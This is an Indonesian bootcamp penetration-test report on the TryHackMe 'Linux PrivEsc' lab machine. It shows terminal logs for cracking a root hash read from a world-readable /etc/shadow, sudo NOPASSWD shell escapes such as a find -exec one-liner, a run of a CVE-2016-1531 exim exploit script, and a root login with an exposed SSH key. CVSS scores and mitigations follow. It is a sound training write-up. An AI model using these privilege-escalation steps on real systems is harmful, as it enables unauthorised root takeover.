



# **Laporan VAPT Assignment Day 12**

Bootcamp Cyber Security Batch 4

Disusun oleh: Sabilillah Ramaniya Widodo

!!Catatan: Diharapkan seluruh pengerjaan Assignment tidak sepenuhnya mengandalkan penggunaan AI!!

*“Proses belajar ibarat menanam pohon. Jika hanya mengandalkan AI tanpa memahami esensinya, yang berkembang bukan kompetensimu, melainkan ketergantungan yang melemahkan.”*  
- Learning Design Dibimbing

## 1. Scope

Pengujian ini mencakup 1 mesin Debian di room Linux PrivEsc TryHackMe. Akses dilakukan menggunakan OpenVPN. Aktivitas ini fokus pada analisis permission file, hak sudo, binary SUID, dan aset auth di dalam sistem. Aset lain di luar mesin ini tidak termasuk cakupan asesmen.

## 2. Methodology

Proses asesmen keamanan dilakukan dengan mengikuti metodologi standar yang mencakup beberapa fase, yaitu:

Fase 1: Konfigurasi akses

- Mesin diaktifkan dari task page TryHackMe.
- Koneksi dibuat menggunakan OpenVPN.
- SSH digunakan untuk akses awal.

Fase 2: Information Gathering

- Pemeriksaan identitas user dengan id
- Identifikasi group dan permission default

Fase 3: Vulnerability Identification


- Pemeriksaan izin file sensitif seperti /etc/shadow.
- Pengecekan hak sudo dengan sudo -l.
- Pemindaian binary SUID.
- Inspeksi direktori root untuk mencari file berisiko.

Fase 4: Exploitation & Verification

- Crack hash /etc/shadow menggunakan John The Ripper.
- Escalation dari sudo NOPASSWD
- Eksploitasi exim-4.84 (CVE-2016-1531).

Fase 5: Analysis & Reporting

- Analisis risiko menggunakan CVSS
- Penyusunan rekomendasi mitigasi prioritas



vulnerable Debian


Start Machine

Privilege

th demos and tips for finding privilege

Target Machine Information		
Title	Target IP Address	Expires
Linux PrivEsc	10.201.100.49	58min 51s

? Add 1 hour Terminate


**Access via OpenVPN**

To access machines, you will need to connect to our network.

OpenVPN Access Details

VPN Server Name

EU-Regular-4

Internal Virtual IP Address

0.0.0.0

Server status

Online

Connection

Not connected

Machines

Networks

VPN Server

EU-Regular-4

If you're switching for the first time, you will need to redownload your configuration file. For best performance, please use the server that's geographically closest to you.

Download configuration file

Regenerate

```

(ragna13@ragna)-[~]
$ sudo su
[sudo] password for ragna13:
(ragna13@ragna)-[/home/ragna13]
$ openvpn --config sabillillah1324.ovpn
2025-11-08 18:29:38 Note: --cipher is not set. OpenVPN versions before 2.5 defaulted to BF-CBC as fallback
ed in this case. If you need this fallback please add '--data-ciphers-fallback BF-CBC' to your configurati
a-ciphers.
2025-11-08 18:29:38 Note: cipher 'AES-256-CBC' in --data-ciphers is not supported by openvpn-dco, disabling d
2025-11-08 18:29:38 OpenVPN 2.6.14 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PK
2025-11-08 18:29:38 library versions: OpenSSL 3.5.3 16 Sep 2025, LZO 2.10
2025-11-08 18:29:38 DCO version: N/A
2025-11-08 18:29:38 TCP/UDP: Preserving recently used remote address: [AF_INET]52.16.156.56:1194
2025-11-08 18:29:38 Socket Buffers: R=[212992->212992] S=[212992->212992]
2025-11-08 18:29:38 UDPv4 link local: (not bound)
2025-11-08 18:29:38 UDPv4 link remote: [AF_INET]52.16.156.56:1194
2025-11-08 18:29:38 TLS: Initial packet from [AF_INET]52.16.156.56:1194, sid=3c91a385 a8db8008
2025-11-08 18:29:39 VERIFY OK: depth=1, CN=ChangeMe
2025-11-08 18:29:39 VERIFY KU OK
2025-11-08 18:29:39 Validating certificate extended key usage
2025-11-08 18:29:39 ++ Certificate has EKU (str) TLS Web Server Authentication, expects TLS Web Server Aut
2025-11-08 18:29:39 VERIFY ECU OK
2025-11-08 18:29:39 VERIFY OK: depth=0, CN=server
2025-11-08 18:29:39 Control Channel: TLSv1.3, cipher TLSv1.3 TLS_AES_256_GCM_SHA384, peer certificate: 204
A256, peer temporary key: 253 bits X25519
2025-11-08 18:29:39 [server] Peer Connection Initiated with [AF_INET]52.16.156.56:1194
2025-11-08 18:29:39 TLS: move session: dest-TM_ACTIVE src-TM_INITIAL reinit_src=1
2025-11-08 18:29:39 TLS: tls_multi.process: initial untrusted session promoted to trusted
2025-11-08 18:29:40 SENT CONTROL [server]: 'PUSH_REQUEST' (status=1)
2025-11-08 18:29:40 PUSH: Received control message: 'PUSH_REPLY,route 10.10.0.0 255.255.0.0,route 10.101.0
0.255.255.0.0,route 10.201.0.0 255.255.128.0,route-gateway 1000,route-gateway 10.22.0.1 topology subnet 0

```

### 3. Executive Summary

Pengujian keamanan pada mesin Linux PrivEsc TryHackMe menemukan empat temuan risiko tinggi dan kritis yang memungkinkan akses root tanpa autentikasi. Vulnerability ini disebabkan oleh permission file sensitif yang salah, konfigurasi sudo yang terlalu longgar, binary SUID yang rentan, dan kebocoran kunci private. Semua celah bisa dimanfaatkan dengan langkah langsung tanpa hambatan teknis yang berarti.

Risiko bisnis mencakup pengambilalihan sistem, modifikasi konfigurasi yang kritis, pencurian data, dan potensi lateral movement ke sistem lain. Tindakan mitigasi bisa dilakukan melalui pembatasan izin file, pembaruan binary, penghapusan akses sudo yang tidak perlu, dan pengamanan aset autentikasi.

### 4. Tools

- SSH
- John the Ripper
- Rockyou Wordlist

- Find (binary search)
- OpenVPN
- CVSS Calculator

```

~: zsh

(ragna13@ragna)~$ nano hash.txt
(ragna13@ragna)~$ cat hash.txt
$6$Tb/euwmK$0XA.dwMe0AcopwB168boTG5zi65wIHsc840WAIye5VITLLtVlaXvR
DJXET..it8r.jbrlpfZeMdwD3B0fgxJI0
(ragna13@ragna)~$ cd /usr/share/wordlists/
(ragna13@ragna)~/usr/share/wordlists$ ls
dirb          fern-wifi      nmap.lst      wifite.txt
dirbuster     john.lst      rockyou.txt.gz
dnsmmap.txt   legion        sqlmap.txt
fasttrack.txt metasploit    wfuzz
(ragna13@ragna)~/usr/share/wordlists$ gunzip rockyou.txt.gz
gzip: rockyou.txt: Permission denied
(ragna13@ragna)~/usr/share/wordlists$ sudo gunzip rockyou.txt.gz
(ragna13@ragna)~/usr/share/wordlists$ ls
dirb          fasttrack.txt  legion         rockyou.txt  wifite.txt
dirbuster     fern-wifi      metasploit    sqlmap.txt
dnsmmap.txt   john.lst      nmap.lst      wfuzz
(ragna13@ragna)~/usr/share/wordlists$

(ragna13@ragna)~/usr/share/wordlists$ ls
dirb          fasttrack.txt  legion         rockyou.txt  wifite.txt
dirbuster     fern-wifi      metasploit    sqlmap.txt
dnsmmap.txt   john.lst      nmap.lst      wfuzz
(ragna13@ragna)~/usr/share/wordlists$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
stat: hash.txt: No such file or directory
(ragna13@ragna)~/usr/share/wordlists$ cd ..
(ragna13@ragna)~/usr/share$ cd ~
(ragna13@ragna)~$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256
AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123 (?)
1g 0:00:00:00 DONE (2025-11-08 18:50) 2.272g/s 3490p/s 3490c/s 34
90C/s cuties..mexico1
Use the "--show" option to display all of the cracked passwords r
eliably
Session completed.
(ragna13@ragna)~$
  
```

## 5. Technical Findings

### Temuan 1

World-Readable /etc/shadow

Tingkat Risiko: Kritis

Deskripsi: File /etc/shadow dapat dibaca oleh semua user. Hal ini memungkinkan user non-root mengakses hash password root.

Evidence/PoC:



```

user@debian:~$ ls -l /etc/shadow
-rw-r--r-- 1 root shadow 837 Aug 25 2019 /etc/shadow
user@debian:~$ cat /etc/shadow
root:$6$Tb/euwmK$0XA.dwMe0AcopwB168boTG5zi65wIHsc84OWAIye5VITLLTV
laxVRDjXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon*:17298:0:99999:7:::
bin*:17298:0:99999:7:::
sys*:17298:0:99999:7:::
sync*:17298:0:99999:7:::
games*:17298:0:99999:7:::
man*:17298:0:99999:7:::
lp*:17298:0:99999:7:::
mail*:17298:0:99999:7:::
news*:17298:0:99999:7:::
uucp*:17298:0:99999:7:::
proxy*:17298:0:99999:7:::
www-data*:17298:0:99999:7:::
backup*:17298:0:99999:7:::
list*:17298:0:99999:7:::
irc*:17298:0:99999:7:::
gnats*:17298:0:99999:7:::
nobody*:17298:0:99999:7:::
libuid:17298:0:99999:7:::
Debian-exim:17298:0:99999:7:::
sshd:17298:0:99999:7:::
user:$6$M1Qjkeb$M1A/ArH4JeyF1zB3PLQ.TZQR1locUlz0wIzsoY6aD0ZRFrYi
rKDW5Ijy3zFBGjwYpT201zrR2xTROv7wRikF8.:17298:0:99999:7:::
statd*:17299:0:99999:7:::
mysql:18133:0:99999:7:::
user@debian:~$ su root
Password:
root@debian:/home/user#

(ragnal3@ragna)-[~]
$ nano hash.txt
$ cat hash.txt
$6$Tb/euwmK$0XA.dwMe0AcopwB168boTG5zi65wIHsc84OWAIye5VITLLTVlaXvR
DJXET..it8r.jbrlpfZeMdwD3B0fGxJI0

(ragnal3@ragna)-[~]
$ cd /usr/share/wordlists/
$ ls
dirb          fern-wifi      nmap.lst      wifite.txt
dirbuster     john.lst      rockyou.txt.gz
dnsmmap.txt   legion        sqlmap.txt
fasttrack.txt metasploit    wfuzz

(ragnal3@ragna)-[~]
$ gunzip rockyou.txt.gz
gzip: rockyou.txt: Permission denied

(ragnal3@ragna)-[~]
$ sudo gunzip rockyou.txt.gz
$ ls
dirb          fasttrack.txt  legion        rockyou.txt  wifite.txt
dirbuster     fern-wifi     metasploit    sqlmap.txt
dnsmmap.txt   john.lst      nmap.lst     wfuzz

(ragnal3@ragna)-[~]
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
stat: hash.txt: No such file or directory

(ragnal3@ragna)-[~]
$ cd ..
$ cd -
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256
AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123 (?)
1g 0:00:00:00 DONE (2025-11-08 18:50) 2.272g/s 3490p/s 3490c/s 34
90C/s cuties.mexico1
Use the "--show" option to display all of the cracked passwords r
eliably
Session completed.

(ragnal3@ragna)-[~]
$
  
```

- ls -l /etc/shadow menunjukkan bit r-- pada world
- Hash root dapat dibaca
- Hash berhasil dicrack menjadi password123

Risk (CVSS): Skor 8.5 (High)

Common Vulnerability Scoring System Version 4.0 Calculator

CVSS 4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Reset

CVSS v4.0 Score: 8.5 / High

Hover over metric names and metric values for a summary of the information in the official CVSS v4.0 Specification Document. The Specification is available in the list of links on the left, along with a User Guide providing additional scoring guidance, an Examples document of scored vulnerabilities, a set of Frequently Asked Questions (FAQ), and both JSON and XML Data Representations for all versions of CVSS.

Base Metrics <sup>?</sup>				
Exploitability Metrics				
Attack Vector (AV):	Network (N)	Adjacent (A)	Local (L)	Physical (P)
Attack Complexity (AC):	Low (L)	High (H)		
Attack Requirements (AT):	None (N)	Present (P)		
Privileges Required (PR):	None (N)	Low (L)	High (H)	
User Interaction (UI):	None (N)	Passive (P)	Active (A)	
Vulnerable System Impact Metrics				
Confidentiality (VC):	High (H)	Low (L)	None (N)	
Integrity (VI):	High (H)	Low (L)	None (N)	
Availability (VA):	High (H)	Low (L)	None (N)	

Impact -> Teknis: Pengambilalihan akun root.

Bisnis: Kompromi penuh layanan dan data.

## Rekomendasi Mitigasi:

- Ubah permission ke 640.
- Batasi group ke shadow.

## Temuan 2

Sudo NOPASSWD pada program exploitable

Tingkat Risiko: Kritis

Deskripsi: User dapat menjalankan iftop, find, nano, vim, awk, nmap, ftp, more, dan lainnya sebagai root tanpa password. Banyak program tersebut memberi akses ke shell.

Evidence/PoC:

```
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
  env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
(root) NOPASSWD: /usr/bin/less
(root) NOPASSWD: /usr/bin/ftp
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/sbin/apache2
(root) NOPASSWD: /bin/more
user@debian:~$ sudo iftop
interface: eth0
IP address is: 10.201.0.241
MAC address is: 16:ff:e2:4f:cf:c7
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1# exit
exit
user@debian:~$ sudo find . -exec /bin/sh \; -quit
sh-4.1# whoami
root
sh-4.1# exit
exit
user@debian:~$ sudo nano
user@debian:~$
```

- sudo -l menampilkan 11 program root tanpa autentikasi
- Eksploitasi berhasil dengan iftop, find, dan nano.

Risk (CVSS): Skor estimasi 8.5 (High).

Common Vulnerability Scoring System Version 4.0 Calculator

CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/S:N/SA:N [Reset](#)

CVSS v4.0 Score: **8.5 / High** [⊕](#)

Hover over metric names and metric values for a summary of the information in the official CVSS v4.0 Specification Document. The Specification is available in the list of links on the left, along with a User Guide providing additional scoring guidance, an Examples document of scored vulnerabilities, a set of Frequently Asked Questions (FAQ), and both JSON and XML Data Representations for all versions of CVSS.

Base Metrics <sup>?</sup>

Exploitability Metrics

Attack Vector (AV): Network (N) Adjacent (A) Local (L) Physical (P)

Attack Complexity (AC): Low (L) High (H)

Attack Requirements (AR): None (N) Present (P)

Privileges Required (PR): None (N) Low (L) High (H)

User Interaction (UI): None (N) Passive (P) Active (A)

Vulnerable System Impact Metrics

Confidentiality (VC): High (H) Low (L) None (N)

Integrity (VI): High (H) Low (L) None (N)

Availability (VA): High (H) Low (L) None (N)

Impact -> Teknis: Shell root instan

Bisnis: Pengambilalihan server dan konfigurasi.

Rekomendasi Mitigasi:

- Hapus seluruh entri NOPASSWD yang tidak diperlukan
- Terapkan prinsip least privilege.

## Temuan 3

SUID Exim 4.84 Vulnerable (CVE-2016-1531)

Tingkat Risiko: Tinggi

Deskripsi: Binary exim versi lama memiliki bit SUID dan rentan local privilege escalation

Evidence/PoC:

```
--sudo
user@debian:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -
exec ls -l {} \; 2> /dev/null
-rwxr-xr-x 1 root shadow 19528 Feb 15 2011 /usr/bin/expiry
-rwxr-xr-x 1 root ssh 168600 Apr 2 2014 /usr/bin/ssh-agent
-rwxr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh
-rwxr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo
-rwxr-xr-x 1 root tty 11000 Jun 17 2010 /usr/bin/bsd-write
-rwxr-xr-x 1 root crontab 35040 Dec 18 2010 /usr/bin/crontab
-rwxr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp
-rwxr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit
-rwxr-xr-x 1 root shadow 56976 Feb 15 2011 /usr/bin/chage
-rwxr-xr-x 1 root root 43288 Feb 15 2011 /usr/bin/passwd
-rwxr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd
-rwxr-xr-x 1 root root 39856 Feb 15 2011 /usr/bin/chfn
-rwxr-xr-x 1 root tty 12000 Jan 25 2011 /usr/bin/wall
-rwxr-xr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-sp
-rwxr-xr-x 1 root staff 6863 May 14 2017 /usr/local/bin/suid-env
-rwxr-xr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env
2
-rwxr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3
-rwxr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmccrypt-g
et-device
-rwxr-xr-x 1 root root 212128 Apr 2 2014 /usr/lib/openssh/ssh-k
eysign
-rwxr-xr-x 1 root root 18592 Feb 15 2016 /usr/lib/gt_chown
-rwxr-xr-x 1 root root 36648 Oct 14 2010 /bin/ping6
-rwxr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping
-rwxr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount
-rwxr-xr-x 1 root root 34024 Feb 15 2011 /bin/su
-rwxr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount
-rwxr-xr-x 1 root root 926536 Nov 8 88:07 /tmp/rootbash
-rwxr-xr-x 1 root shadow 31864 Oct 17 2011 /sbin/unix_chkpwd
-rwxr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs
user@debian:~$

-rwxr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs
user@debian:~$ cd /home/user/tools/suid/exim
user@debian:~/tools/suid/exim$ ls
cve-2016-1531.sh
user@debian:~/tools/suid/exim$ ./cve-2016-1531.sh
[ CVE-2016-1531 local root exploit
sh-4.1# whoami
root
```

- Ditemukan melalui find.

- Eksploitasi PoC pada direktori tools/suid/exim menghasilkan shell root

Risk (CVSS): Skor 7.5 (High)

Common Vulnerability Scoring System Version 4.0 Calculator

CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Reset

CVSS v4.0 Score: 7.5 / High

Hover over metric names and metric values for a summary of the information in the official CVSS v4.0 Specification Document. The Specification is available in the list of links on the left, along with a User Guide providing additional scoring guidance, an Examples document of scored vulnerabilities, a set of Frequently Asked Questions (FAQ), and both JSON and XML Data Representations for all versions of CVSS.

Base Metrics ?

Exploitability Metrics

Attack Vector (AV):

Network (N)

Adjacent (A)

Local (L)

Physical (P)

Attack Complexity (AC):

Low (L)

High (H)

Attack Requirements (AT):

None (N)

Present (P)

Privileges Required (PR):

None (N)

Low (L)

High (H)

User Interaction (UI):

None (N)

Passive (P)

Active (A)

Vulnerable System Impact Metrics

Confidentiality (VC):

High (H)

Low (L)

None (N)

Integrity (VI):

High (H)

Low (L)

None (N)

Availability (VA):

High (H)

Low (L)

None (N)

Impact -> Teknis: Eksekusi kode sebagai root



Bisnis: Kontrol penuh terhadap host  
 Rekomendasi Mitigasi:  
 - Hapus SUID  
 - Update exim ke versi terbaru

## Temuan 4

SSH Private Key root readable

Tingkat Risiko: Kritis

Deskripsi: File /.ssh/root\_key dapat dibaca oleh siapapun. Kunci ini dapat digunakan untuk login sebagai root.

Evidence/PoC:

```

root@debian:~# cd .ssh
root@debian:~/.ssh# ls
authorized_keys
root@debian:~/.ssh# cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDcgh/pZzNk2bFwxn35AANjir0Vsp/CP5Y1pS17TkdYdnf8Y2aAtMfcWi/ZK2xC4Z++8PgJ0V/g3Q+qdonZYmspI/XDLEnt1F
OTQmhNITZNS5KtGwnihK2PFjic7QsNyx7PA2EFmFS5W0a72n5aYpuTjRbh3aV09TUtWQdGvpG8Yy8G4eHFQV10W1uSdLgaIvLMkFpu3nvGgQKdFz/yy5nJb0BHnuj508N7A
root@debian:~# ls -la /
total 96
drwxr-xr-x  22 root root  4096 Aug 25  2019 .
drwxr-xr-x  22 root root  4096 Aug 25  2019 ..
drwxr-xr-x  2 root root  4096 Aug 25  2019 bin
drwxr-xr-x  3 root root  4096 May 12  2017 boot
drwxr-xr-x 12 root root 2820 Nov  8  06:16 dev
drwxr-xr-x  67 root root  4096 Nov  8  08:31 etc
drwxr-xr-x  3 root root  4096 May 15  2017 home
lrwxrwxrwx  1 root root    30 May 12  2017 initrd.img -> boot/initrd.img-2.6.32-5-amd64
drwxr-xr-x 12 root root 12288 May 14  2017 lib
lrwxrwxrwx  1 root root    4 May 12  2017 lib64 -> /lib
drwx----- 2 root root 16384 May 12  2017 lost+found
drwxr-xr-x  3 root root  4096 May 12  2017 media
drwxr-xr-x  2 root root  4096 Jun 11  2014 mnt
drwxr-xr-x  2 root root  4096 May 12  2017 opt
dr-xr-xr-x 100 root root    0 Nov  8  06:13 proc
drwx----- 5 root root  4096 May 15  2020 root
drwxr-xr-x  2 root root  4096 May 13  2017 sbin
drwxr-xr-x  2 root root  4096 Jul 21  2010 selinux
drwxr-xr-x  2 root root  4096 May 12  2017 sev
drwxr-xr-x  2 root root  4096 Aug 25  2019 .ssh
drwxr-xr-x 13 root root    0 Nov  8  06:13 sys
drwxrwxrwt  2 root root  4096 Nov  8  08:42 tmp
drwxr-xr-x 11 root root  4096 May 13  2017 usr
drwxr-xr-x 14 root root  4096 May 13  2017 var
lrwxrwxrwx  1 root root    27 May 12  2017 vmlinuz -> boot/vmlinuz-2.6.32-5-amd64
root@debian:~# ls -l /.ssh
total 4
-rw-r--r-- 1 root root 1679 Aug 25  2019 root_key

root@debian:~# ls -l /.ssh
total 4
-rw-r--r-- 1 root root 1679 Aug 25  2019 root_key
root@debian:~# cd .ssh
root@debian:~/.ssh# ls
root_key
root@debian:~/.ssh# chmod 600 root_key
root@debian:~/.ssh# ssh-keygen -l -f root_key
Warning: ssh-keygen: file before continuing:
root@debian:~/.ssh# ls -l /.ssh
total 4
-rw----- 1 root root 1679 Aug 25  2019 root_key
root@debian:~/.ssh# cd ..
root@debian:~# ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.201.0.241

```

- Permission -rw-r--r-- pada root\_key
- Login root berhasil menggunakan kunci tersebut.

Risk (CVSS): Skor 9.3 (Critical)

## Common Vulnerability Scoring System Version 4.0 Calculator

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N Reset

CVSS v4.0 Score: **9.3 / Critical** ⊕

Hover over metric names and metric values for a summary of the information in the official CVSS v4.0 Specification Document. The Specification is available in the list of links on the left, along with a User Guide providing additional scoring guidance, an Examples document of scored vulnerabilities, a set of Frequently Asked Questions (FAQ), and both JSON and XML Data Representations for all versions of CVSS.

Base Metrics ?

Exploitability Metrics

Attack Vector (AV): Network (N) Adjacent (A) Local (L) Physical (P)

Attack Complexity (AC): Low (L) High (H)

Attack Requirements (AT): None (N) Present (P)

Privileges Required (PR): None (N) Low (L) High (H)

User Interaction (UI): None (N) Passive (P) Active (A)

Vulnerable System Impact Metrics

Confidentiality (VC): High (H) Low (L) None (N)

Integrity (VI): High (H) Low (L) None (N)

Availability (VA): High (H) Low (L) None (N)

Impact -> Teknis: Akses penuh tanpa password

Bisnis: Risiko tinggi pencurian data dan persistence malware

Rekomendasi Mitigasi:

- Pindahkan ke /root/.ssh dengan permission 600
- Buat kunci baru dan cabut kunci lama.

## 6. Rekomendasi Mitigasi

Prioritas 1 - Kritis:

- Perbaiki permission /etc/shadow
- Hapus seluruh sudo NOPASSWD yang tidak diperlukan
- Update exim dan nonaktifkan binary lama
- Amankan dan regenerasi SSH key

Prioritas 2 - Tinggi:

- Audit ulang permission direktori sensitif
- Terapkan hardening sistem

Prioritas 3 - Medium:

- Tambahkan logging akses file
- Terapkan monitoring host

## 7. Retesting Plan

- Verifikasi ulang permission file yang diperbaiki
- Test sudo untuk memastikan tidak ada akses root tidak sah
- Dokumentasi hasil validasi